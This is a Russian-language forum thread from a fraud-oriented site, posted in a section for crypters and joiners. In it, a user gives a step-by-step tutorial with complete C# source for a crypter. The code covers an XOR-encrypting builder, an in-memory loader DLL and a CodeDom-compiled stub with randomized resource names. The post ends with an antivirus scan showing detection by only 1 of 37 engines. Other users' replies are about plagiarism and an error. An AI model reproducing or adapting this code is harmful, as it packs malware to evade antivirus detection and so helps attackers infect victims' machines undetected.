1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Криптор Пишем криптор на C# (слив)

Тема в разделе "Крипторы | Джойнеры", создана пользователем Fantasto, 6 фев 2018.

  1. TopicStarter Overlay
    Fantasto

    Fantasto

    Регистрация:
    18 янв 2018
    Сообщения:
    24
    Симпатии:
    4
    [0x01] Loader

    Для начала напишем библиотеку которая и будет запускать наш файл

    Открываем VS и создаем новый проект "Библиотека классов"
    [​IMG]
    Пишем код нашей библиотеки
    Код:
    using System;
    using System.Windows.Forms;
    using System.Reflection;
    using System.Text;
     
    namespace BlackJack
    {
        public class Load
        {
            public static void Whores(byte[] file, string key)
            {
                try
                {
                    Assembly.Load(Decrypt(file, key)).EntryPoint.Invoke(null, null); // запускаем файл
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
            private static byte[] Decrypt(byte[] data, string pass) // декриптор
            {
                byte[] bytes = Encoding.UTF8.GetBytes(pass);
                int num = 0;
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] ^= bytes[num++];
                    if (num == bytes.Length)
                    {
                        num = 0;
                    }
                }
                return data;
            }
        }
    }
    Компилируем проект и наша библа готова
    [0x02] Builder

    Добавляем новый проект
    [​IMG]
    Выбираем WinForm и версию 4.5
    [​IMG]
    Накидываем на форму нужные компоненты
    Получилось примерно так
    [​IMG]

    На загрузку формы поставил
    Код:
    tIcon.Enabled = false;
    bIcon.Enabled = false;
    А на обработку клика чекбокса иконки
    Код:
    tIcon.Enabled = cIcon.Checked;
     bIcon.Enabled = cIcon.Checked;
    В Items комбобокса добавил
    Код:
    v2.0
    v3.5
    v4.0
    На обработку кнопки выбора файла
    Код:
    using (var open = new OpenFileDialog())
                {
                    open.Title = "Select file";
                    open.Filter = ".exe|*.exe";
     
                    if (open.ShowDialog() == DialogResult.OK)
                    {
                        tFile.Text = open.FileName;
                    }
                }
    На обработку кнопки выбора иконки
    Код:
    using (var open = new OpenFileDialog())
                {
                    open.Title = "Select icon";
                    open.Filter = ".ico|*.ico";
     
                    if (open.ShowDialog() == DialogResult.OK)
                    {
                        tIcon.Text = open.FileName;
                    }
                }
    [​IMG]
    Добавим эти функции
    Код:
    static Random r = new Random();
            public static string RandomString(int Length)
            {
                string chars = "qwertzuiopasdfghjklyxcvbnmQWERTZUIOPASDFGHJKLYXCVBNM";
                string ret = chars[r.Next(10, chars.Length)].ToString();
                for (int i = 1; i < Length; i++)
                    ret += chars[r.Next(chars.Length)];
                return ret;
            }
     
            public static byte[] Encrypt(byte[] data, string pass)
            {
                byte[] key = Encoding.UTF8.GetBytes(pass);
                int kind = 0;
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] = (byte)(data[i] ^ key[kind++]);
                    if (kind == key.Length)
                        kind = 0;
                }
                return data;
            }
    Функция RandomString будет генирировать рандомные символы
    Функция Encrypt будет шифровать байты


    Теперь создадим класс Compil
    Он нужен будет для компиляции стаба
    [​IMG]

    Добавим нужный код
    Подробней можно почитать про CodeDom на офф сайте мелкомягких
    Заострять на нем внимание смысла нет
    Сложного там тоже ни чего нету
    Код:
    public static bool Compiler(string source,string saveFileName, string outVersion, string resource, string icon = null)
            {
                CompilerParameters compil = new CompilerParameters();
                compil.GenerateExecutable = true;
                compil.OutputAssembly = saveFileName;
     
                string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
                if (icon != null)
                    options += " /win32icon:\"" + icon + "\"";
     
                compil.CompilerOptions = options;
     
                compil.ReferencedAssemblies.Add("System.dll");
                compil.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                compil.EmbeddedResources.Add(resource);
     
                Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
                ProviderOptions.Add("CompilerVersion", outVersion);
                CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(compil, source);
     
                if (Results.Errors.Count > 0)
                {
                    MessageBox.Show(string.Format("Имеются {0} ошибок",
                        Results.Errors.Count), "Ошибка компиляции", MessageBoxButtons.OK,
                        MessageBoxIcon.Error);
     
                    foreach (CompilerError Err in Results.Errors)
                    {
                        MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                            Err.Line, Err.Column, Err.FileName), "Error",
                            MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                    return false;
                }
                else
                {
                    return true;
                }
            }
    [0x03] Stub

    Добавляем новый консольный проект под весрию 2.0
    [​IMG]
    Ну и пишем наш стаб
    Код:
    using System;
    using System.IO;
    using System.Reflection;
    using System.Resources;
    using System.Text;
    using System.Windows.Forms;
     
    namespace Whores
    {
        class Program
        {
            private delegate object invoc(object inst, object[] arg);
            static void Main(string[] args)
            {
                ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); // читаем ресусры
                byte[] bLoad = (byte[])res.GetObject("[loaderName]"); // получаем лоадер
                byte[] arra = Decrypt(bLoad, "[keyEnc]"); // расшифровываем лоадер
                Assembly asm = Assembly.Load(arra); // загружаем лоадер
                MethodInfo mi = asm.GetType("BlackJack.Load").GetMethod("Whores"); // вписываем нужные класс и метод
                Delegate del = Delegate.CreateDelegate(typeof(invoc), mi, "Invoke");
                del.DynamicInvoke(new object[] // вызываем и передаем параметры
                {
                    null,
                    new object[]
                    {
                        (byte[]) res.GetObject("[fileName]"),
                        "[keyEnc]"
                    }
                });
            }
            private static byte[] Decrypt(byte[] data, string pass)
            {
                byte[] bytes = Encoding.UTF8.GetBytes(pass);
                int num = 0;
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] ^= bytes[num++];
                    if (num == bytes.Length)
                    {
                        num = 0;
                    }
                }
                return data;
            }
        }
    }
     
    Со стабом все просто и понятно
    Прокоментировал основные моменты
    В стабе добавлены места по замены и прописаны класс и функция для вызова из лоадера

    [0x04] Компиляция

    Добавляем в ресурсы скомпилированную dll лоадера и наш стаб (я создал .txt документ и добавил туда код стаба)
    [​IMG]
    Осталось добавить код для кнопки Crypt
    Код:
    if (tFile.Text != "")
                {
                    using (var save = new SaveFileDialog())
                    {
                        save.Title = "Save file";
                        save.Filter = ".exe|*.exe";
                        save.FileName = Helper.RandomString(5);
     
                        if (save.ShowDialog() == DialogResult.OK)
                        {
                            string source = Resources.Whores; // читаем стаб
                            string encKey = Helper.RandomString(15); // делаем ключ
                            byte[] file = Helper.Encrypt(File.ReadAllBytes(tFile.Text), encKey); // шифруем файл
                            byte[] load = Helper.Encrypt(Resources.BlackJack, encKey); // шифруем лоадер
     
                            string nameResource = Helper.RandomString(9); // генирируем имя для ресурсов
                            loaderName = Helper.RandomString(5); // генирируем имя для лоадера
                            fileName = Helper.RandomString(5); // генирируем имя для файла
                            ResourceWriter resource = new ResourceWriter(nameResource + ".resources"); // открываем запись в ресурс
                            resource.AddResource(fileName, file); // добавляем файл
                            resource.AddResource(loaderName, load); // добавляем лоадер
                            resource.Generate(); // сохраняем ресурс
                            resource.Close(); // закрываем запись
     
                            source =  // подставляем значение в стабе
                                source.Replace("[resName]", nameResource)
                                    .Replace("[loaderName]", loaderName)
                                    .Replace("[keyEnc]", encKey)
                                    .Replace("[fileName]", fileName);
     
                            if (cIcon.Checked && tIcon.Text != "") // компиляция
                                comp = Compil.Compiler(source, save.FileName, cOutVersion.Text, Application.StartupPath + "\\" + nameResource + ".resources", tIcon.Text);
     
                            else if (!cIcon.Checked)
                                comp = Compil.Compiler(source, save.FileName, cOutVersion.Text, Application.StartupPath + "\\" + nameResource + ".resources");
     
                            if (comp)
                                MessageBox.Show("Done Ё-пта", "All good", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        }
                    }
                }
                else
                {
                    MessageBox.Show("Selected file or icon", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
    Добавим нужные переменные
    Код:
    private string fileName = "";
    private string loaderName = "";
    private bool comp;
    [0x05] Test and Scan

    Проверяем работоспособность и сканируем файлы
    [​IMG]

    Файл: file498.exe
    Тип:EXE
    Время сканирования: 01-02-18 16:05:02
    File info: Generic CIL Executable (.NET, Mono, etc.)
    Статус: [ 1 ] / [ 37 ]

    ESET NOD32 Antivirus [ Чисто ]
    Windows Defender [ Чисто ]
    G Data AntiVirus [ Чисто ]
    Symantec Endpoint Protection [ Чисто ]
    F-PROT Antivirus for Windows [ Чисто ]
    Trend Micro Titanium IS [ Чисто ]
    Sophos Anti-Virus [ Чисто ]
    Emsisoft Anti-Malware [ Чисто ]
    avast! Internet Security [ Чисто ]
    Arcavir Antivirus 2014 [ Чисто ]
    McAfee VirusScan Enterprise [ Чисто ]
    Jiangmin Antivirus 2011 [ Чисто ]
    Panda Global Protection 2014 [ Чисто ]
    K7 UltimateSecurity [ Чисто ]
    COMODO Internet Security [ Чисто ]
    Ad-Aware Pro [ Чисто ]
    AVG Anti-Virus [ Чисто ]
    Avira Antivirus Suite Malware detected
    Bitdefender Antivirus Plus [ Чисто ]
    Kaspersky Anti-Virus [ Чисто ]
    IKARUS anti.virus [ Чисто ]
    VBA32 Anti-Virus [ Чисто ]
    Total Defence Anti-Virus 2011 [ Чисто ]
    F-Secure Internet Security 2014 [ Чисто ]
    Twister Antivirus [ Чисто ]
    Quick Heal Internet Security [ Чисто ]
    Zillya! Internet Security [ Чисто ]
    TrustPort Antivirus [ Чисто ]
    eScan Antivirus [ Чисто ]
    Outpost Antivirus Pro [ Чисто ]
    Clam AntiVirus [ Чисто ]
    AhnLab V3 Internet Security [ Чисто ]
    Malwarebytes Anti-Malware [ Чисто ]
    Nano Antivirus [ Чисто ]
    SUPERAntiSpyware [ Чисто ]
    McAfee Total Protection [ Чисто ]
    VirIT eXplorer [ Чисто ]
    Solo Antivirus [ Чисто ]
     
    • Like Like x 3
  2. D108

    D108

    Регистрация:
    26 июл 2017
    Сообщения:
    324
    Симпатии:
    104
    Статья конечно довольно интересная,но это не слив а просто копипаст(это разные вещи)
    И списана она от Войти или зарегистрироваться, чтобы увидеть ссылку.
     
  3. TopicStarter Overlay
    Fantasto

    Fantasto

    Регистрация:
    18 янв 2018
    Сообщения:
    24
    Симпатии:
    4
    перепутал слово
     
  4. babaman

    babaman

    Регистрация:
    2 мар 2018
    Сообщения:
    19
    Симпатии:
    1
    все, собралось, скомпилировалось, при попытке загрузить закриптованый файл выдает такую ошибку. В чем проблема? 1.png
     

Поделиться этой страницей

Загрузка...